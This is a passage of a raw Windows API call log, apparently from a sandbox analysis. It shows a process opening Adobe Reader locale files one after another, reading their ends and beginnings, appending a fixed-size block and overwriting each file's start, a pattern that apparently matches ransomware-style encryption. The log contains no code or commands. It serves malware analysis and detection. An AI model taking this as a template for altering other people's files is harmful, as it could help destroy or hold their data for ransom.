(x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\SendMail.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\sendmail.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.871] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.871] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x3e00 [0039.872] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.872] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.872] ReleaseMutex (hMutex=0x128) returned 1 [0039.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.POL", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.POL", lpUsedDefaultChar=0x0) returned 12 [0039.872] ReadFile (in: hFile=0x184, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.882] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2e00 [0039.882] ReadFile (in: hFile=0x184, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.886] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2e00 [0039.886] WriteFile (in: hFile=0x184, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.887] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0039.887] WriteFile (in: hFile=0x184, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.887] CloseHandle (hObject=0x184) returned 1 [0039.887] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\BRdlang32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\brdlang32.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.888] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.888] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x3600 [0039.888] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.888] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.888] ReleaseMutex (hMutex=0x128) returned 1 [0039.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.PTB", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.PTB", cchWideChar=13, lpMultiByteStr=0x1e631cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.PTB", lpUsedDefaultChar=0x0) returned 13 [0039.888] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.899] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2600 [0039.899] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.902] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2600 [0039.902] WriteFile (in: hFile=0x184, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.902] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0039.902] WriteFile (in: hFile=0x184, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.902] CloseHandle (hObject=0x184) returned 1 [0039.902] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\PPKLITE.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\ppklite.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.903] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.903] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x82000 [0039.903] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.903] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.903] ReleaseMutex (hMutex=0x128) returned 1 [0039.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.PTB", cchWideChar=11, lpMultiByteStr=0x1e6338c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.PTB", lpUsedDefaultChar=0x0) returned 11 [0039.903] ReadFile (in: hFile=0x184, lpBuffer=0x27f6cc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0039.908] ReadFile (in: hFile=0x184, lpBuffer=0x27f6cc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.914] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x81000 [0039.914] ReadFile (in: hFile=0x184, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.917] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x81000 [0039.917] WriteFile (in: hFile=0x184, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.917] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0039.917] WriteFile (in: hFile=0x184, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0039.918] WriteFile (in: hFile=0x184, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.918] CloseHandle (hObject=0x184) returned 1 [0039.918] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\updater.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\updater.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.918] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.918] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x2a00 [0039.918] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.918] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.918] ReleaseMutex (hMutex=0x128) returned 1 [0039.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.PTB", cchWideChar=11, lpMultiByteStr=0x1e6326c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.PTB", lpUsedDefaultChar=0x0) returned 11 [0039.919] ReadFile (in: hFile=0x184, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.924] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1a00 [0039.924] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.926] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1a00 [0039.927] WriteFile (in: hFile=0x184, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.927] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0039.927] WriteFile (in: hFile=0x184, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.927] CloseHandle (hObject=0x184) returned 1 [0039.927] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\eBook.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\ebook.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.927] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.927] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1c00 [0039.928] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.928] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.928] ReleaseMutex (hMutex=0x128) returned 1 [0039.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.RUM", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.RUM", cchWideChar=9, lpMultiByteStr=0x1e6324c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.RUM", lpUsedDefaultChar=0x0) returned 9 [0039.928] ReadFile (in: hFile=0x184, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x32cf2bc*=0x1c00, lpOverlapped=0x0) returned 1 [0039.934] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0039.934] WriteFile (in: hFile=0x184, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x2188, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x32cf2d0*=0x2188, lpOverlapped=0x0) returned 1 [0039.935] CloseHandle (hObject=0x184) returned 1 [0039.935] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\SaveAsRTF.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\saveasrtf.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.935] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.935] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x4a00 [0039.935] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.935] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.935] ReleaseMutex (hMutex=0x128) returned 1 [0039.935] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.RUM", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.935] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.RUM", cchWideChar=13, lpMultiByteStr=0x1e6322c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.RUM", lpUsedDefaultChar=0x0) returned 13 [0039.935] ReadFile (in: hFile=0x184, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.940] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x3a00 [0039.940] ReadFile (in: hFile=0x184, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.941] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x3a00 [0039.941] WriteFile (in: hFile=0x184, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.941] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0039.941] WriteFile (in: hFile=0x184, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.941] CloseHandle (hObject=0x184) returned 1 [0039.941] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\AdobeCollabSync.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\adobecollabsync.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.942] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.942] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1a00 [0039.942] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.942] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.942] ReleaseMutex (hMutex=0x128) returned 1 [0039.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.RUS", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0039.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.RUS", cchWideChar=19, lpMultiByteStr=0x1e78974, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.RUS", lpUsedDefaultChar=0x0) returned 19 [0039.942] ReadFile (in: hFile=0x184, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x32cf2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0039.945] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0039.945] WriteFile (in: hFile=0x184, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x32cf2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0039.945] CloseHandle (hObject=0x184) returned 1 [0039.946] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Multimedia.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\multimedia.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.946] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.946] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x13c00 [0039.946] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.946] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.946] ReleaseMutex (hMutex=0x128) returned 1 [0039.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.RUS", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0039.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.RUS", cchWideChar=14, lpMultiByteStr=0x1e6324c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.RUS", lpUsedDefaultChar=0x0) returned 14 [0039.946] ReadFile (in: hFile=0x184, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0039.950] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x12c00 [0039.950] ReadFile (in: hFile=0x184, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.953] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x12c00 [0039.953] WriteFile (in: hFile=0x184, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.954] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0039.954] WriteFile (in: hFile=0x184, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.954] CloseHandle (hObject=0x184) returned 1 [0039.954] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.955] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: 